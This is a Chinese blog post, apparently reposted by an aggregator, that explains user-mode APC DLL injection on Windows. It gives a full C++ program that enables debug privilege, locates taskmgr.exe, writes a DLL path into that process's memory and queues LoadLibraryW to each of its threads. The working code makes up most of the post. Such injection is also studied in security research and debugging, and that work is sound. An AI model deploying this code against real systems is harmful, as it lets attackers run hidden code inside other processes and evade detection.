Ring3 APC注入

Posted 生如逆旅 一苇以航

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Ring3 APC注入相关的知识,希望对你有一定的参考价值。

系统产生一个软中断,当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数,利用QueueUserAPC()这个API,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的,

1.根据进程名称得进程ID
2.枚举该进程中的线程
3.将自己的函数插入到每个线程的APC队列中





1
// APCInject(Ring3).cpp : 定义控制台应用程序的入口点。 2 // 3 4 #include "stdafx.h" 5 #include <windows.h> 6 #include <TlHelp32.h> 7 #include <ntstatus.h> 8 #include <vector> 9 #include <iostream> 10 11 using namespace std; 12 /* 13 Win7下成功 Win10不一定成功(编译对应的位数,管理员身份运行) 14 Win7要将倒着插入!! 15 要将DLL拷到.cpp的文件夹中 16 尽量选择线程多的exe 17 18 另外没有提供删除APC队列中函数的方法,所以不能反复注入。 19 */ 20 21 22 WCHAR __DllFullPath[MAX_PATH] = { 0 }; 23 PVOID __DllFullPathBufferData = NULL; 24 UINT_PTR __LoadLibraryWAddress = 0; 25 26 27 //typedef void(*pfnSub_110)(); 28 29 30 BOOL GetProcessIDByProcessImageName(IN PWCHAR ProcessImageName, OUT PUINT32 ProcessID); 31 BOOL GetThreadIDByProcessID(IN UINT32 ProcessID, OUT vector<UINT32>& ThreadIDVector); 32 BOOL InjectDllByApc(IN UINT32 ProcessID, OUT UINT32 ThreadID); 33 BOOL DebugPrivilege(WCHAR * DebugName, BOOL bEnable); 34 35 int main() 36 { 37 if (DebugPrivilege(SE_DEBUG_NAME, TRUE)==FALSE) 38 { 39 printf("DebugPrivilege Error\r\n"); 40 } 41 42 GetCurrentDirectory(MAX_PATH, __DllFullPath); 43 44 wcscat(__DllFullPath, L"\\Dll.dll"); 45 46 47 UINT ProcessID = 0; 48 49 if (GetProcessIDByProcessImageName( 50 L"taskmgr.exe", &ProcessID) == FALSE) 51 { 52 53 54 return 0; 55 } 56 57 vector<UINT32> ThreadIDVector; 58 59 if (GetThreadIDByProcessID(ProcessID, ThreadIDVector) == FALSE) 60 { 61 return 0; 62 } 63 64 size_t ThreadCount = ThreadIDVector.size(); 65 //每一个线程 66 /* 67 win7下得倒着注入 68 */ 69 for (INT_PTR i = ThreadCount - 1; i >= 0; i--) 70 { 71 UINT32 ThreadID = ThreadIDVector[i]; 72 InjectDllByApc(ProcessID, ThreadID); 73 } 74 75 76 printf("Input Any Key to Exit\r\n"); 77 getchar(); 78 getchar(); 79 80 return 0; 81 } 82 83 84 BOOL InjectDllByApc(IN UINT32 ProcessID, OUT UINT32 ThreadID) 85 { 86 HANDLE ThreadHandle = NULL; 87 HANDLE ProcessHandle = OpenProcess( 88 PROCESS_ALL_ACCESS, FALSE, ProcessID); 89 90 SIZE_T DllFullPathLength = ((wcslen(__DllFullPath) + 1)); 91 92 SIZE_T ReturnLength = 0; 93 BOOL IsOk = FALSE; 94 95 // 申请一次内存 96 if (__DllFullPathBufferData == NULL) 97 { 98 __DllFullPathBufferData = 99 VirtualAllocEx( 100 ProcessHandle, 101 NULL, 102 DllFullPathLength * 2, 103 MEM_COMMIT | MEM_RESERVE, 104 PAGE_EXECUTE_READWRITE 105 ); 106 107 if (__DllFullPathBufferData == NULL) 108 { 109 CloseHandle(ProcessHandle); 110 ProcessHandle = NULL; 111 return FALSE; 112 } 113 114 IsOk = WriteProcessMemory( 115 ProcessHandle, 116 __DllFullPathBufferData, 117 __DllFullPath, 118 DllFullPathLength * 2, 119 &ReturnLength 120 ); 121 122 if (IsOk == FALSE) 123 { 124 125 VirtualFree(__DllFullPathBufferData, 126 DllFullPathLength * 2, MEM_RELEASE); 127 128 CloseHandle(ProcessHandle); 129 ProcessHandle = NULL; 130 return FALSE; 131 } 132 } 133 134 __LoadLibraryWAddress = 135 (UINT_PTR)GetProcAddress( 136 GetModuleHandle(L"Kernel32.dll"), 137 "LoadLibraryW" 138 ); 139 140 if (__LoadLibraryWAddress == NULL) 141 { 142 VirtualFree( 143 __DllFullPathBufferData, 144 DllFullPathLength * 2, MEM_RELEASE); 145 CloseHandle(ProcessHandle); 146 ProcessHandle = NULL; 147 return FALSE; 148 } 149 150 __try 151 { 152 ThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadID); 153 DWORD v1 = QueueUserAPC( 154 (PAPCFUNC)__LoadLibraryWAddress, 155 ThreadHandle, 156 (UINT_PTR)__DllFullPathBufferData 157 ); //LoadLibraryWAddress("DllFullPathBufferData") 158 if (v1 == 0) 159 { 160 printf("FAIL %d\r\n", GetLastError()); 161 } 162 else if (v1 != 0) 163 { 164 printf("Success\r\n"); 165 } 166 } 167 168 __except (EXCEPTION_CONTINUE_EXECUTION) 169 { 170 171 } 172 173 CloseHandle(ProcessHandle); 174 CloseHandle(ThreadHandle); 175 176 177 178 179 return TRUE; 180 } 181 182 183 BOOL GetThreadIDByProcessID(IN UINT32 ProcessID, OUT vector<UINT32>& ThreadIDVector) 184 { 185 HANDLE ThreadSnapshotHandle = NULL; 186 THREADENTRY32 ThreadEntry32 = { 0 }; 187 188 ThreadEntry32.dwSize = sizeof(THREADENTRY32); 189 190 ThreadSnapshotHandle = CreateToolhelp32Snapshot( 191 TH32CS_SNAPTHREAD, 0); 192 if (ThreadSnapshotHandle == INVALID_HANDLE_VALUE) 193 { 194 return FALSE; 195 } 196 197 BOOL IsOk = Thread32First( 198 ThreadSnapshotHandle, &ThreadEntry32); 199 200 if (IsOk) 201 { 202 do 203 { 204 if ( 205 ThreadEntry32.th32OwnerProcessID 206 == ProcessID) 207 { 208 ThreadIDVector.emplace_back( 209 ThreadEntry32.th32ThreadID); // 把该进程的所有线程id压入模板 210 } 211 } while (Thread32Next( 212 ThreadSnapshotHandle, &ThreadEntry32) 213 ); 214 215 } 216 217 218 219 220 221 CloseHandle(ThreadSnapshotHandle); 222 ThreadSnapshotHandle = NULL; 223 224 225 return TRUE; 226 } 227 228 BOOL GetProcessIDByProcessImageName(IN PWCHAR ProcessImageName, OUT PUINT32 ProcessID) 229 { 230 HANDLE ProcessSnapshotHandle = NULL; 231 ProcessSnapshotHandle = 232 CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 233 234 if (ProcessSnapshotHandle == INVALID_HANDLE_VALUE) 235 { 236 return FALSE; 237 } 238 239 PROCESSENTRY32 ProcessEntry32 = { 0 }; 240 ProcessEntry32.dwSize = sizeof(PROCESSENTRY32); 241 242 BOOL IsOk = Process32First( 243 ProcessSnapshotHandle, 244 &ProcessEntry32 245 ); 246 247 if (IsOk) 248 { 249 do 250 { 251 if ( 252 lstrcmpi(ProcessEntry32.szExeFile, 253 ProcessImageName)==0 254 ) 255 { 256 *ProcessID = ProcessEntry32.th32ProcessID; 257 break; 258 } 259 } while (Process32Next( 260 ProcessSnapshotHandle, 261 &ProcessEntry32 262 ) 263 ); 264 } 265 266 if (*ProcessID==0) 267 { 268 printf("Get ProcessID FAIL! 请打开任务管理器.\r\n"); 269 return FALSE; 270 } 271 272 CloseHandle(ProcessSnapshotHandle); 273 ProcessSnapshotHandle = NULL; 274 275 276 277 return TRUE; 278 } 279 280 281 282 283 284 285 286 287 BOOL DebugPrivilege(WCHAR * DebugName, BOOL bEnable) 288 { 289 BOOL bRet = TRUE; 290 HANDLE TokenHandle; 291 TOKEN_PRIVILEGES TokenPrivileges; 292 293 //进程 Token 令牌 294 if (!OpenProcessToken(GetCurrentProcess(), 295 TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &TokenHandle)) 296 { 297 bRet = FALSE; 298 return bRet; 299 } 300 TokenPrivileges.PrivilegeCount = 1; 301 TokenPrivileges.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0; 302 303 LookupPrivilegeValue(NULL, DebugName, &TokenPrivileges.Privileges[0].Luid); 304 AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL); 305 if (GetLastError() != ERROR_SUCCESS) 306 { 307 bRet = FALSE; 308 } 309 310 CloseHandle(TokenHandle); 311 return bRet; 312 313 }

 

以上是关于Ring3 APC注入的主要内容,如果未能解决你的问题,请参考以下文章

APC注入(Ring3)

APC注入(Ring3层)

Windows x86/ x64 Ring3层注入Dll总结

基于Wrk和ReactOS源码分析APC机制的记录

windows:shellcode 代码远程APC注入和加载

Ring3下Hook NtQueryDirectoryFile隐藏文件